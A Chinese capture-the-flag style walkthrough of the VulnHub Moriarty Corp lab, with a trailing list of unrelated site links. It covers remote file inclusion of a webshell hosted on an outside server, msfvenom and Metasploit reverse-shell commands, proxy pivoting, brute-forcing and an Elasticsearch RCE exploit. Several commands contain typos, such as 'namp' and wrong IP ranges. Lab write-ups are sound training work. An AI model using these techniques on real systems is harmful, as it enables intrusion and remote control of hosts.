Moriarty Corp靶场攻略
本文作者:a-running-snail(贝塔安全实验室)
Moriarty Corp靶场环境包含一台外网服务器和三台内网主机,攻击者需先对外网服务器进行web攻击,依据提交flag后的提示信息,逐步获取内网主机权限。本次靶场环境包含以下10个关键部分:
靶场环境 |
暴力破解 |
---|---|
主机发现 |
文件上传 |
文件包含 |
SSH弱口令 |
payload反弹 |
任意密码修改 |
添加代理 |
远程代码执行 |
内网探测 |
个人总结 |
- 靶场环境
- 暴力破解
- 主机发现
- 文件上传
- 文件包含
- SSH弱口令
- payload反弹
- 任意密码修改
- 添加代理
- 远程代码执行
- 内网探测
- 个人总结
1. 靶场环境
本次所使用的攻击机为kalilinux系统,攻击过程中涉及到的工具主要有:公网主机VPS,中国菜刀/中国蚂剑,burpsuite,msf,MobaXterm,一句话木马,proxychains,nmap,searchsploit,exp脚本等。攻击的拓扑结构如下图所示。
注意: 外网服务器(8000端口)为提交flag以及攻击提示处,并不存在漏洞,请不要进行攻击行为。Flag的存储格式为#_flag.txt,通常存储在服务器的不同目录下面。每次提交flag后都会给相关提示和说明。开始渗透之前须向外网服务器(8000端口)提交flag{start},表示攻击开始正常启动。本次实验的虚拟机采用virtual box.
详细靶场说明请参考:
https://www.vulnhub.com/entry/boredhackerblog-moriarty-corp,456/
靶场下载地址:
Download (Mirror):
https://download.vulnhub.com/boredhackerblog/MoriartyCorp.ova
Download (Torrent):
https://download.vulnhub.com/boredhackerblog/MoriartyCorp.ova.torrent
2. 主机发现
通过arp(地址解析协议)进行局域网内主机发现,arp是根据IP地址获取物理地址的一个TCP/IP协议。主机发送信息时将包含目标IP地址的ARP请求广播到网络上的所有主机,并接收返回消息,以此确定目标的物理地址;收到返回消息后将该IP地址和物理地址存入本机ARP缓存中并保留一定时间。
>>> namp -sn -PR -T 4192.168.124.0/24
-sn:只进行主机发现,不进行端口扫描。
-PR:ARP Ping。
-T:指定扫描过程使用的时序,总有6个级别(0-5),级别越高,扫描速度越快,在网络通讯状况较好的情况下推荐使用T4。
3. 文件包含
通过访问页面http://IP/file=name.html,可猜测为目录遍历或者文件包含漏洞,如下为漏洞验证结果。
文件包含漏洞,通常分为本地文件包含和远程文件包含。本地文件包含,通常需要能够写入webshell的文件进行包含,进而获取shell权限。远程文件包含,可对远程写入webshell的文件进行包含,获取shell权限。如下为远程服务器test.txt文件写入phpinfo();
访问页面对远程主机的test.txt文件进行包含,验证远程文件漏洞真实存在。这样可以在远程服务器写入webshell进行包含,进而获取Moriarty Corp服务器的主机shell权限。
如下所示,通过菜刀直接连接后,可以获取到shell权限。通过查看目录,在根目录查看到1_flag.txt。
木马文件链接地址:http://192.168.124.14/?file=http://xx.xx.xx.xx/snail.txt
将获取到的flag内容进行提交后,Moriarty Corp靶场给出新的提示。如下图所示,提示内网环境中存在重要的网站,里面存在要获取的flag信息,并且告知内网范围在172.17.0.3-254段。由此,开始步入后渗透攻击阶段,由于靶场环境主要以linux系统环境为主,故此处后渗透工具在此处选择metasploit工具为主。
4.Payload反弹
攻击机进行监听设置(注意:监听主机设置需要与生成的payload保持一致):
>>> useexploit/multi/handler
>>> set payloadslinux/x64/meterpreter_reverse_tcp
>>> set LHOST192.168.124.15 #监听主机ip地址
>>> set PORT 9999 #监听主机端口号
>>>exploit -j
生成反弹需要的payload文件:
>>> msfvenom -plinux/x64/meterpreter_reverse_tcp LHOST=IP LPORT=PORT -f elf > shell.elf
将生成的文件上传到目标主机,并更改payload可执行权限,并执行。
>>> chmod 777 shell.elf
>>> ./shell.elf
在攻击端,监听的主机收到目标主机反弹的shell权限,如下图所示:
5. 添加代理
根据提交flag后系统反馈的提示说明,需要我们对内网的web应用网站进行渗透攻击,此时为了能够访问到内网,需要进行添加代理操作。查看当前路由有一个内网段ip地址段位172.17.0.0/24。
执行指令添加路由操作。
>>>run autoroute -s 172.17.0.0/24
添加socks5代理:
>>>use auxiliary/server/socks5
>>>run
此处应用proxychains工具,进行内网探测,使用编辑器在文件/etc/proxychains.conf的最后一行加入socks5代理的配置信息。
--- snippet ---[ProxyList]# add proxy here ...# meanwile# defaults set to "tor"socks5 127.0.0.1 1080 |
---|
6. 内网探测
通过执行代理工具proxychains,对Moriarty Corp内网web服务进行探测,可以发现主机ip地址为172.17.0.4。执行指令如下所示:
>>>Proxychains nmap 172.17.0.0/24 -sV -sT -Pn -T4 -p80
7.暴力破解
此时通过浏览器是不能访问到内网服务器,需要在浏览器配置代理进行访问,配置代理类型选择socks5,本地端口为1080。配置好以后,就能通过代理访问内网web应用了。
通过浏览页面可发现,为一个文件上传页面,但是上传需要输入口令,方可操作成功。此时考虑可通过burpsuite进行拦截后,口令破解。
打开burpsuite后,需要添加代理,这样才能将拦截到的数据正确发送到目标服务器,配置过程如下所示:
对拦截的数据更改口令字段,添加常用字典,此处用的字为:top1000.txt。查看破解成功字段的真实口令为password。
8.文件上传
如下图所示,成功将木马上传至服务器:
常用的菜刀,Cknife等工具并不存在代理功能,此处使用中国蚁剑工具进行连接,配置蚁剑代理如下所示:
成功连接到内网的shell后,访问目标系统不同目录,获取第二个flag文件:2_flag.txt
9. SSH弱口令
将获取到的flag内容进行提交后,Moriarty Corp靶场给出新的提示。如下图所示,给出几个用户名和密码hash值。对内网中的ssh服务进行弱口令猜解。
通过第三方网站,对给出的hash值进行破解,如下所示为破解的hash结果:
对内网的22端口进行探测,发现主机172.17.0.8开放22端口,并对该内网主机进行ssh弱口令猜解。
>>>proxychains nmap -sV -t -Pn -p22 127.17.0.0/24
通过第三方工具MobaXterm添加代理后,远程连接到内网主机,具体操作过程如下所示:
猜解成功后,获得当前内网主机的基本权限,访问目录后的3_flag.txt。查看并进行提交。
10. 任意用户密码修改
将获取到的flag内容进行提交后,Moriarty Corp靶场给出新的提示。如下图所示,提示说存在一个聊天网站,管理员的聊天记录可能存在有价值的信息。并给出服务器开放端口可能在443,8000,8080,8888。
对内网的443,8000,8080,8888端口进行探测,发现主机172.17.0.9开放8000端口,并对该内网主机web应用进行访问。
>>>proxychains nmap -sV -t -Pn -p443,8000,8080,8888 127.17.0.0/24
根据提示给出的用户名和口令进行登陆,查看网站具有两个功能,可以查看chats聊天记录,可以更改用户名密码。尝试抓包,通过更改用户名为管理员,设置口令。此时如果存在任意用户名口令更改漏洞,此时就可以把管理员登陆密码从新设置。
更改后,便可以以管理员身份进行登陆了。通过访问chats可以查看到另外一个flag信息。
将获取到的flag内容进行提交后,Moriarty Corp靶场给出新的提示。如下图所示,文中提到一个web应用Elasticsearch。尝试百度查询了一下,该服务默认运行在9200端口,并存在框架漏洞。
11. 远程代码执行
对内网的9200端口进行探测,发现主机172.17.0.10开放9200端口,并对该内网主机web应用进行访问。
>>> proxychains nmap -sV -sT -Pn -p9200 127.17.0.0/24
依据kali自带功能searchsploit功能进行版本漏洞搜索:
>>>searchsploit elasticsearch
使用36337.py脚本执行远程代码执行攻击,获取shell权限
通过查看目标主机目录,获取flag信息6_flag.txt。
12.个人总结
Moriarty Corp靶场涉及到了web攻击到内网漫游的基本环节,在每一个相关环节作者都给予了提示,漏洞利用方式较为简单。提交完漏洞结束后,就像服务器提示所说被拉入黑名单了,再次访问发现已被拉黑。
- Jquery $.extend的重载方法详述
- Jquery ajax调用后台aspx后台文件方法(不是ashx)
- [原创]x.509证书在WCF中的应用(CS篇)
- tomcat
- 快速入门系列--WebAPI--01基础
- 分析程序员到底是不是吃青春饭
- Jquery dom搜索之siblings()方法
- 汽车黑科技!想想以后不是我们亲自驾驶汽车还是蛮开心的
- 快速入门系列--CLR--02多线程
- JavaScript之将JS代码放在什么位置最合适
- 快速入门系列--TSQL-01基础概念
- 初识javascript
- [原创]x.509证书在WCF中的应用(Web/IIS篇)
- Javascript之Dom学习
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- Android studio实现滑动开关
- Android实现TCP客户端支持读写操作
- Android通过命令连接wifi的方法(解决usb不能用问题)
- android studio使用SQLiteOpenHelper()建立数据库的方法
- Android自定义View绘制彩色圆弧
- android canvas使用line画半圆
- 说说Android的UI刷新机制的实现
- Android仿直播类app赠送礼物功能
- android自定义imageview实现圆角图片
- 基于android实现五子棋开发
- Android Fragment的静态注册和动态注册创建步骤
- Android从Fragment跳转到其他Activity的简单实例
- Android7.0以上Uri转路径的方法实现(已验证)
- Android studio实现简单计算器
- Android 自定义LayoutManager实现花式表格